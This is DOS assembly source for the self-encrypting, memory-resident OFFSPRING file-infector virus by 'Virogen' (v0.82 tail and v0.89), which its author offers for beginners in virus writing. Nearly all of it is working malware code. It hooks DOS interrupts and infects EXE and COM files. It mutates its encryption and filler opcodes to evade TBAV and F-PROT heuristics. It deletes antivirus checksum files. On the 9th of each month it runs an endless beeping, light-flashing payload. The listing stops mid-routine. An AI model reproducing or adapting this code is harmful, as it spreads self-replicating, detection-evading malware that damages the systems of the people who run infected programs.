cmp inf_count,0 ; Start parastic infection on next run
|
||||
jne find_done
|
||||
cmp byte ptr vtype, parastic ; Parastic infection done?
|
||||
je find_done
|
||||
mov fname_off, offset fname2 ; Point to new filespec
|
||||
mov byte ptr vtype, parastic ; virus type = parastic
|
||||
jmp find_first
|
||||
|
||||
|
||||
find_done:
|
||||
mov byte ptr vtype,spawn
|
||||
mov fname_off, offset fname1
|
||||
ret
|
||||
resident endp
|
||||
|
||||
vtype db spawn ; Infection type
|
||||
rot_num dw 0000 ; Used when replacing bytes with OP_SET
|
||||
inf_count db 0 ; How many files we have infected this run
|
||||
com_name db 'COMMAND.COM' ; obvious
|
||||
new_code db 90h,90h,90h ; preceed with three NOPs
|
||||
new_jmp db 0e9h,00,00 ; New Jump
|
||||
org_bytes db 7 dup(0) ; original first six bytes of parastic inf.
|
||||
pad_bytes dw 0 ; Increase in viru size
|
||||
add_mem db 0 ; Add memory back?
|
||||
old_dta dd 0 ; Old DTA Segment:Address
|
||||
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
||||
|
||||
copyr db '(c)1993 negoriV' ; my copyright
|
||||
vname db 0ah,0dh,'OFFSPRING V0.82','$'
|
||||
|
||||
fname1 db '*.EXE',0 ; Filespec
|
||||
fname2 db '*.COM',0 ; Filespec
|
||||
fname_off dw fname1 ; Offset of Filespec to use
|
||||
times_inc db 0 ; # of times encryption call incremented
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
vend: ; End of virus
|
||||
|
||||
cseg ends
|
||||
end start
|
|
@ -0,0 +1,903 @@
|
|||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ************************************************
|
||||
; OFFSPRING v0.89 - BY VIROGEN - 10-03-93
|
||||
; ************************************************
|
||||
; - Compatible with : TASM /m2
|
||||
;
|
||||
;
|
||||
; .. Welcome to another virogen viral creation! I'm supplying this source
|
||||
; code so hopefully beginners in the art of virus writing can learn something
|
||||
; from it. Please don't hack up this code and put your name on it.. thank
|
||||
; ya, thank ya very much! Oh yea, one more thing.. say whoever gave Mcafee
|
||||
; a real OLD version of this virus, just keep giving him that same one eh?
|
||||
;
|
||||
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : 0.89
|
||||
; - No longer detectable by TBAV heuristics.
|
||||
; - No longer detectable by FPROT heuristics.
|
||||
; - Infects on dir and drive change when no program running.
|
||||
; deletes ANTI-VIR.DAT and CHKLST.* files at the same time.
|
||||
; - finally went through and somewhat cleaned up the messy code
|
||||
; at least a little bit.
|
||||
; - mutation is improved
|
||||
;
|
||||
;
|
||||
title offspring_1
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0fch ; reply to check
|
||||
|
||||
max_inf equ 05 ; Maximum files to infect per run
|
||||
max_rotation equ 9 ; number of bytes in switch byte table
|
||||
parastic equ 01 ; Parastic infection
|
||||
spawn equ 00 ; Spawning infection
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Start of viral code
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
start:
|
||||
|
||||
new_code db 0B8h ; MOV NN,xxxx
|
||||
dw main ; main
|
||||
push_reg db 50h ; PUSH NN
|
||||
db 0C3h ; RET - jump to NN
|
||||
db 0E9h ; id byte - not code
|
||||
trick_jmp db 0E9h ; fake jump - f00l tbav
|
||||
dw 5999 ; random number 0-5999
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Encryption/Decryption
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
_enc:
|
||||
di_op db 0bfh ; MOV DI|SI,XXXX
|
||||
mov_di dw offset enc_data ; Point to byte after encryption num
|
||||
encrypt:
|
||||
cx_m db 90h,0b9h ; MOV CX
|
||||
b_wr dw (offset vend-offset enc_data)/2
|
||||
xor_loop:
|
||||
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
|
||||
fill_space: inc ax ; This is filled with INC XX's
|
||||
inc ax ; kill F-PROT heuristic detection
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
sw_byte3: ; INC SI|DI changes position in these bytes
|
||||
inc di ; INC SI|DI
|
||||
inc ax ; INC xx
|
||||
inc ax ; INC xx
|
||||
sw_byte4:
|
||||
inc di ; INC SI|DI
|
||||
inc ax ; INC xx
|
||||
inc ax ; INX xx
|
||||
loop xor_loop ; loop while cx != 0
|
||||
|
||||
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
|
||||
|
||||
enc_data: ; Start of encrypted data
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Non-Resident portion of virus
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
main proc
|
||||
|
||||
db 0bdh ; MOV BP,xxxx - Load delta offset
|
||||
set_bp: dw 0000
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk[bp],ax ; Save in parameter block for exec
|
||||
|
||||
mov par1[bp],cs ; Save segments for spawn
|
||||
mov par2[bp],cs
|
||||
mov par_seg[bp],cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,9 ; 9th?
|
||||
jne no_display
|
||||
|
||||
show_myself:
|
||||
mov ah,09 ; display virus name
|
||||
lea dx,v_id[bp]
|
||||
int 21h
|
||||
|
||||
xor ax,ax ; seg 0
|
||||
mov es,ax
|
||||
mov dx,1010101010101010b ; lights
|
||||
chg_lights: ; Infinite loop to change keyboard
|
||||
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
|
||||
ror dx,1 ; rotate bits
|
||||
mov cx,0101h ; scan code/ascii
|
||||
mov ah,05h ; push a beep onto keyb buf
|
||||
int 16h
|
||||
mov ah,10h ; Read key back so we don't fill
|
||||
int 16h ; up the keyboard buffer
|
||||
int 5h ; Print-Screen
|
||||
mov ax,0a07h ; Write BEEP to screen
|
||||
xor bh,bh
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ah,86h ; Delay
|
||||
mov cx,0002h
|
||||
int 15h
|
||||
|
||||
jmp chg_lights
|
||||
|
||||
no_display:
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; INSTALL - Install the virus in memory
|
||||
|
||||
mov ah,signal ; is virus already in mem?
|
||||
int 21h
|
||||
cmp ah,reply ;
|
||||
jne cont_i ; nope.. continue
|
||||
jmp no_install ; yes.. don't install again
|
||||
cont_i:
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
je cont_i2
|
||||
jmp no_install
|
||||
cont_i2:
|
||||
|
||||
|
||||
mov ax,ds: [3] ;Block size in MCB
|
||||
sub ax,230 ;Shrink Block Size-quick estimate
|
||||
mov ds: [3],ax
|
||||
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax ;Find high memory seg
|
||||
|
||||
mov si,bp
|
||||
add si,0100h
|
||||
mov cx,(offset vend - offset start)
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov di,100h ; New location in high memory
|
||||
cld
|
||||
rep movsb ; Copy virus to high memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xor ax,ax
|
||||
mov es,ax ; null es
|
||||
mov ax,es: [21h*4+2] ; store old int addresses
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax
|
||||
mov ds: old21_ofs,bx
|
||||
mov ax, es: [20h*4+2]
|
||||
mov bx, es:[20h*4]
|
||||
mov ds: old_20_seg,ax
|
||||
mov ds: old_20_ofs,bx
|
||||
mov ax, es:[27h*4+2]
|
||||
mov bx, es:[27h*4]
|
||||
mov ds: old_27_seg,ax
|
||||
mov ds: old_27_ofs,bx
|
||||
|
||||
cli ; disable interrrupts
|
||||
|
||||
mov es: [21h*4+2],ds ; Set new addresses
|
||||
lea ax, new21
|
||||
mov es: [21h*4],ax
|
||||
|
||||
mov es: [20h*4+2],ds
|
||||
lea ax, new20
|
||||
mov es: [20h*4],ax
|
||||
|
||||
mov es: [27h*4+2],ds
|
||||
lea ax, new27
|
||||
mov es: [27h*4],ax
|
||||
|
||||
sti ; re-enable interrupts
|
||||
|
||||
no_install:
|
||||
push cs ; Restore segment regs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
cmp byte ptr vtype[bp],parastic ; parastic infection?
|
||||
je com_return ; yes, return to start of COM
|
||||
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
lea dx,file_dir-1[bp] ; Execute the original EXE
|
||||
lea bx,par_blk[bp]
|
||||
mov ch,0FBh ; tell mem. resident virus
|
||||
mov ax,4b00h ; that it's us.
|
||||
int 21h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
com_return:
|
||||
|
||||
inc dir_infect
|
||||
|
||||
mov si,bp ;
|
||||
mov cx,7 ; Restore original first
|
||||
add si,offset org_bytes ; seven bytes of COM file
|
||||
mov di,0100h ;
|
||||
cld ;
|
||||
rep movsb ;
|
||||
|
||||
mov ax,0100h ; Jump back to 100h - start of
|
||||
push ax ; original program
|
||||
ret ;
|
||||
|
||||
main endp
|
||||
|
||||
|
||||
;************************************************************************
|
||||
; Interrupt handlers
|
||||
;************************************************************************
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; INT 27h - terminate stay resident
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
new27 proc
|
||||
dec byte ptr cs:[dir_infect] ; decrement running counter
|
||||
db 0EAh ; Jump to original offset, seg
|
||||
old_27_ofs dw 0
|
||||
old_27_seg dw 0
|
||||
new27 endp
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; INT 20h - terminate process
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
new20 proc
|
||||
dec byte ptr cs:[dir_infect] ; decrement running counter
|
||||
db 0EAh ; Jump to original offset, seg
|
||||
old_20_ofs dw 0
|
||||
old_20_seg dw 0
|
||||
new20 endp
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; INT 24h - Critical Error Handler
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
eh proc
|
||||
mov al,3 ; fail call
|
||||
iret ; interrupt return
|
||||
eh endp
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; INT 21h - DOS function calls
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ax,4b00h ; exec func?
|
||||
jne check_other
|
||||
inc byte ptr cs:[dir_infect]
|
||||
jmp exec_func
|
||||
|
||||
check_other:
|
||||
cmp ah,3Bh ; change directory?
|
||||
je kill_func ; yes, kill CHKLIST.* files
|
||||
cmp ah,0Eh ; change drive?
|
||||
je kill_func ; yes, kill CHKLIST.* files
|
||||
cmp ah,4ch ; terminate process?
|
||||
je dec_counter ; yes, decrement running counter
|
||||
cmp ah,31h ; tsr?
|
||||
je dec_counter ; yes, decrement running counter
|
||||
cmp ah,00h ; terminate process?
|
||||
je dec_counter ; yes, decrement running counter
|
||||
|
||||
jmp end_21 ; return to original INT 21h
|
||||
|
||||
kill_func:
|
||||
mov byte ptr cs:[kill_now],1 ; remember it's time to kill CRC
|
||||
exec_func:
|
||||
cmp ch,0FBh ; Is our virus executing this prog?
|
||||
je end_21 ; yes, return to orginal INT 21h
|
||||
run_res:
|
||||
pushf ; Push flags
|
||||
push ax ; Push regs
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs ; ds=cs
|
||||
pop ds
|
||||
|
||||
|
||||
xor ax,ax ; nullify ES
|
||||
mov es,ax
|
||||
|
||||
|
||||
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
|
||||
je rel_mem ; yes, back to 640k
|
||||
cmp ah,48h ; alloc. mem block? If so we subtract 4k from
|
||||
je set_mem ; total system memory.
|
||||
|
||||
jmp no_mem_func ; don't f00l with memory now
|
||||
|
||||
set_mem:
|
||||
sub word ptr es: [413h],4 ; Subtract 4k from total sys mem
|
||||
inc byte ptr add_mem ; make sure we know to add this back
|
||||
jmp no_mem_func
|
||||
rel_mem:
|
||||
add word ptr es: [413h],4 ; Add 4k to total sys mem
|
||||
dec byte ptr add_mem
|
||||
|
||||
|
||||
no_mem_func:
|
||||
mov ah,2fh ; Get DTA Address
|
||||
int 21h ;
|
||||
|
||||
mov ax,es ; Save it so we can restore it
|
||||
mov word ptr old_dta,bx
|
||||
mov word ptr old_dta+2,ax
|
||||
push cs ; es=cs
|
||||
pop es
|
||||
|
||||
call resident ; Call infection kernal
|
||||
|
||||
mov dx,word ptr old_dta ; restore DTA
|
||||
mov ax,word ptr old_dta+2 ;
|
||||
mov ds,ax ;
|
||||
mov ah,1ah ;
|
||||
int 21h ;
|
||||
|
||||
pop ss ; Pop regs
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf ; Pop flags
|
||||
end_21 :
|
||||
db 0eah ; jump to original int 21h
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
|
||||
dec_counter:
|
||||
dec byte ptr cs:[dir_infect] ; decrement running counter
|
||||
jmp end_21
|
||||
|
||||
new21 endp ; End of handler
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Clear ff/fn buf
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
clear_buf proc
|
||||
mov word ptr fcb,0 ; Clear ff/fn buffer
|
||||
lea si, fcb
|
||||
lea di, fcb+2
|
||||
mov cx, 22
|
||||
cld
|
||||
rep movsw
|
||||
ret
|
||||
clear_buf endp
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Resident - This is called from out INT 21h handler
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
resident proc
|
||||
|
||||
xor ax,ax ; es=segment 0
|
||||
mov es,ax ; ..
|
||||
mov ax,es:[24h*4+2] ; get segment of INT 24h
|
||||
mov bx,es:[24h*4] ; get offset of INT 24h
|
||||
mov old_eh_seg,ax ; save segment
|
||||
mov old_eh_off,bx ; save offset
|
||||
cli ; turn off interrupts
|
||||
mov es:[24h*4+2],ds ; set segment to our handler
|
||||
lea ax,eh ;
|
||||
mov es:[24h*4],ax ; set offset to our handler
|
||||
sti
|
||||
|
||||
push ds ; es=ds
|
||||
pop es
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, fcb
|
||||
int 21h
|
||||
|
||||
mov byte ptr vtype,spawn ; infection type = spawning
|
||||
mov word ptr set_bp,0000 ; BP=0000 on load
|
||||
mov byte ptr inf_count,0 ; null infection count
|
||||
mov fname_off, offset fname1 ; Set search for *.EXE
|
||||
mov word ptr mov_di,offset enc_data ; offset past encrypt.
|
||||
|
||||
|
||||
cmp byte ptr kill_now, 1 ; change dir, or change drive func?
|
||||
jne no_kill ; nope.. forget this shit
|
||||
cmp dir_infect,0 ; are we running a program right now?
|
||||
je cont_res ; nope.. keep going
|
||||
jmp fd2 ; yes.. don't infect this time
|
||||
cont_res:
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; KIll chklist.* (MSAV,CPAV) and anti-vir.dat (TBAV) files
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
|
||||
mov chk_spec_addr, offset chk_spec ; kill CHKLIST.* first
|
||||
xor cx,cx ; keep track of which we've killed
|
||||
kill_another_spec:
|
||||
push cx
|
||||
|
||||
call clear_buf ; clear FCB
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
xor cx, cx ; Set normal file attribute search
|
||||
mov dx, chk_spec_addr
|
||||
int 21h
|
||||
|
||||
jc done_kill ; none found.. done
|
||||
kill_loop:
|
||||
mov ax,4301h ; Set file attributes to null
|
||||
xor cx,cx ;
|
||||
lea dx,f_name ;
|
||||
int 21h ;
|
||||
|
||||
mov ah,3ch ; create file = nullify size
|
||||
xor cx,cx ;
|
||||
lea dx,f_name ;
|
||||
int 21h ;
|
||||
|
||||
push ax ; get handle
|
||||
pop bx ;
|
||||
|
||||
mov ah,3eh ; close file
|
||||
int 21h ;
|
||||
|
||||
mov ah,41h ; delete the file to finish 'er off
|
||||
lea dx,f_name ;
|
||||
int 21h ;
|
||||
|
||||
mov ah,4fh ; find next file
|
||||
int 21h ;
|
||||
jnc kill_loop ; if more then kill 'em
|
||||
|
||||
done_kill:
|
||||
pop cx ; restore spec counter
|
||||
inc cx ; increment spec counter
|
||||
mov chk_spec_addr,offset chk_spec2 ; new file spec to kill
|
||||
cmp cx,2 ; have we already killed both?
|
||||
jne kill_another_spec ; nope.. kell 'em
|
||||
|
||||
no_kill:
|
||||
mov kill_now,0 ; we killed them this time
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
find_first:
|
||||
call clear_buf ; clear FCB again
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
xor cx, cx ; Set normal file attribute search
|
||||
mov dx, fname_off
|
||||
int 21h
|
||||
|
||||
jnc next_loop ; if still finding files then loop
|
||||
jmp end_prog ; if not.. then end this infection
|
||||
|
||||
next_loop :
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je start_inf ; yes, skip all this
|
||||
|
||||
mov ah,47h ; get directory for
|
||||
xor dl,dl ; ..spawning infections
|
||||
lea si,file_dir ;
|
||||
int 21h ;
|
||||
|
||||
cmp word ptr f_sizel,0 ; Make sure file isn't 64k+
|
||||
je ok_find ; for spawning infections
|
||||
jmp find_file
|
||||
|
||||
ok_find:
|
||||
xor bx,bx ;
|
||||
lm3 : ; find end of directory name
|
||||
inc bx ;
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\' ; append backslash to path
|
||||
inc bx
|
||||
|
||||
mov cx,13 ; append filename to path
|
||||
lea si,f_name
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
loop_me: ; search for filename ext.
|
||||
inc bx
|
||||
cmp byte ptr fcb+1eh [bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx ; change it to COM
|
||||
mov word ptr fcb+1eh [bx],'OC'
|
||||
mov byte ptr fcb+1eh [bx+2],'M'
|
||||
|
||||
|
||||
start_inf:
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄ
|
||||
; Change jump & fill space register
|
||||
;ÄÄÄÄÄÄÄÄÄÄ
|
||||
cmp byte ptr new_code, 0BFh
|
||||
jne inc_jmp
|
||||
mov byte ptr new_code, 0B7h
|
||||
mov byte ptr push_reg, 04Fh
|
||||
mov nop_sub, 3Fh
|
||||
inc_jmp:
|
||||
inc byte ptr new_code ; incrment register
|
||||
inc byte ptr push_reg ; increment register
|
||||
mov dh,nop_sub ; get old register to inc/dec
|
||||
mov old_nop_sub,dh ; save it.. to be used later
|
||||
inc nop_sub ; increment register
|
||||
jmp ok_jmp_changed
|
||||
ok_jmp_changed:
|
||||
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je parastic_inf ; yes.. so jump
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Spawning infection
|
||||
|
||||
mov word ptr new_code+1,offset _enc
|
||||
|
||||
lea dx,f_name
|
||||
mov cx, 02h ; read-only
|
||||
or cx, 01h ; hidden
|
||||
mov ah, 3ch ; Create file
|
||||
int 21h ; Call INT 21H
|
||||
jnc contin ; If Error-probably already infected
|
||||
jmp no_infect
|
||||
contin:
|
||||
inc inf_count
|
||||
mov bx,ax
|
||||
|
||||
jmp encrypt_ops
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Parastic infection
|
||||
|
||||
parastic_inf :
|
||||
|
||||
lea si,f_name ; Is Command.COM?
|
||||
lea di,com_name
|
||||
mov cx,11
|
||||
cld
|
||||
repe cmpsb
|
||||
|
||||
jne cont_inf0 ; Yes, don't infect
|
||||
jmp no_infect
|
||||
|
||||
cont_inf0:
|
||||
|
||||
mov ax,3d02h ; Open file for reading & writing
|
||||
lea dx,f_name ; Filename in FF/FN buffer
|
||||
int 21h
|
||||
|
||||
jnc cont_inf1 ; error, skip infection
|
||||
jmp no_infect
|
||||
|
||||
cont_inf1:
|
||||
|
||||
|
||||
mov bx,ax ; get handle
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,07
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp byte ptr org_bytes+6,0E9h ; already infected?
|
||||
jne cont_inf ; nope let's infect this sucker
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp no_infect
|
||||
|
||||
cont_inf:
|
||||
inc inf_count
|
||||
mov ax,4202h ; Set pointer to end of file, so we
|
||||
xor cx,cx ; can find the file size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
||||
add ax, offset enc_data
|
||||
mov word ptr mov_di,ax ; chg mov di,xxxx
|
||||
|
||||
mov ax,4200h ; set file pointer to beginning
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr f_sizeh ; save new address for parastic
|
||||
add ax,offset _enc ;
|
||||
mov word ptr new_code+1,ax ;
|
||||
|
||||
mov ah,40h ; write new first 7 bytes
|
||||
mov cx,7 ; .. jumps to virus code
|
||||
lea dx,new_code ;
|
||||
int 21h ;
|
||||
|
||||
mov ax,4202h ; Set file pointer to end of file
|
||||
xor cx,cx ;
|
||||
xor dx,dx ;
|
||||
int 21h
|
||||
|
||||
encrypt_ops:
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Change encryptions ops
|
||||
|
||||
push bx ; save file handle
|
||||
|
||||
cmp pad_bytes,50 ; no more increase in file size?
|
||||
je reset_pad ; if yes, reset
|
||||
inc word ptr pad_bytes ; Increase file size
|
||||
inc word ptr b_wr ; make note of the increase
|
||||
jmp pad_ok ; don't reset pad
|
||||
reset_pad:
|
||||
mov word ptr pad_bytes,0 ; reset pad size
|
||||
sub word ptr b_wr,50 ; make note of decrease
|
||||
|
||||
pad_ok:
|
||||
|
||||
cmp inc_op,47h ; change ops from DI to SI
|
||||
jne set2
|
||||
dec inc_op
|
||||
dec byte ptr xor_op+1
|
||||
dec di_op
|
||||
dec byte ptr enc_addr
|
||||
dec byte ptr enc_add+1
|
||||
jmp chg_three
|
||||
set2:
|
||||
inc inc_op
|
||||
inc byte ptr xor_op+1
|
||||
inc di_op
|
||||
inc byte ptr enc_addr
|
||||
inc byte ptr enc_add+1
|
||||
|
||||
chg_three:
|
||||
mov dh,byte ptr nop_sub ; which byte did we use to fill space?
|
||||
cmp dh,48h ; if INC AX then we need to reset it
|
||||
jne _change ; else decrement it
|
||||
mov dh,40h ; reset to DEC AX
|
||||
_change:
|
||||
cmp dh,41h ; Don't use INC CX..
|
||||
jne no_conflict ;
|
||||
mov dh,48h ; Change it to DEC AX instead
|
||||
no_conflict:
|
||||
cmp dh,47h ; Don't use INC DI
|
||||
jne no_conflict2 ;
|
||||
mov dh,4Bh ; Use DEC BX Instead
|
||||
no_conflict2:
|
||||
cmp dh,44h ; Don't use INC SP
|
||||
jne no_conflict3 ;
|
||||
mov dh,4Dh ; Use DEC BP Instead
|
||||
no_conflict3:
|
||||
cmp dh,46h ; Don't use INC SI
|
||||
jne no_conflict4
|
||||
mov dh,0FBh ; Use STI instead
|
||||
no_conflict4:
|
||||
mov dl,dh ; mov into word reg dx
|
||||
|
||||
mov cx,16 ; 32 bytes
|
||||
lea si,fill_space ; beginning of null space
|
||||
fill_loop:
|
||||
mov [si],dx ; fill null bytes with same op
|
||||
inc si ;
|
||||
inc si ;
|
||||
loop fill_loop ;
|
||||
|
||||
xor cx,cx ; keep track of which we're changing
|
||||
lea di,sw_byte3 ; change the first INC location
|
||||
change_pos_ag:
|
||||
inc cx ; make note
|
||||
cmp change_num,3 ; last position?
|
||||
jne cont_change ; nope.. go ahead
|
||||
mov change_num,0 ; else.. reset it
|
||||
cont_change:
|
||||
